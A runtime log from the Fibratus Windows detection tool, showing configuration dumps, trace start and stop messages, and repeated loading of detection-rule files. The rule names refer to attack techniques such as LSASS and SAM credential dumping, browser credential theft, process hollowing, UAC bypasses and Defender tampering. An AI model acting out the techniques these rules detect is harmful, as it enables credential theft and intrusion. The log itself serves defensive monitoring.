max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ passive=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false timeout=>5s durable=>false enabled=>false exchange=>fibratus routing-key=>fibratus delivery-mode=>transient exchange-type=>topic vhost=>/] http=>[ enabled=>false method=>POST enable-gzip=>false endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false serializer=>json] elasticsearch=>[ sniff=>false servers=>[http://127.0.0.1:9200] enabled=>false flush-period=>1s index-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true trace-log=>false healthcheck-interval=>10s timeout=>5s bulk-workers=>1 template-name=>fibratus] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-files=>[] skip-registry=>false skip-mmaps=>false skip-files=>false excluded-procs=>[] enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:12:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:12:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:13:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:13:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:13:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:13:37+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:13:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:13:38+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:13:38+01:00 level=info msg=bootstrapping with pid 16396. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:13:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true enabled=>false to=>[] port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-net=>true enable-mem=>false buffer-size=>512 stack-enrichment=>true enable-audit-api=>true enable-vamap=>true enable-handle=>false min-buffers=>16 enable-threadpool=>false enable-fileio=>true flush-interval=>1s max-buffers=>36 enable-registry=>true enable-image=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true max-age=>0 level=>info formatter=>text] + output ......................... [ http=>[ tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false timeout=>5s serializer=>json method=>POST enabled=>false] elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck=>true flush-period=>1s enabled=>false healthcheck-timeout=>5s trace-log=>false template-name=>fibratus sniff=>false index-name=>fibratus healthcheck-interval=>10s bulk-workers=>1] amqp=>[ exchange=>fibratus routing-key=>fibratus timeout=>5s exchange-type=>topic passive=>false url=>amqp://localhost:5672 enabled=>false vhost=>/ durable=>false delivery-mode=>transient tls-insecure-skip-verify=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-files=>false skip-allocs=>false excluded-files=>[] scan-timeout=>10s fastscan=>true skip-mmaps=>false enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:13:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:13:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:13:58+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:13:58+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:13:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:16:32+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:16:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 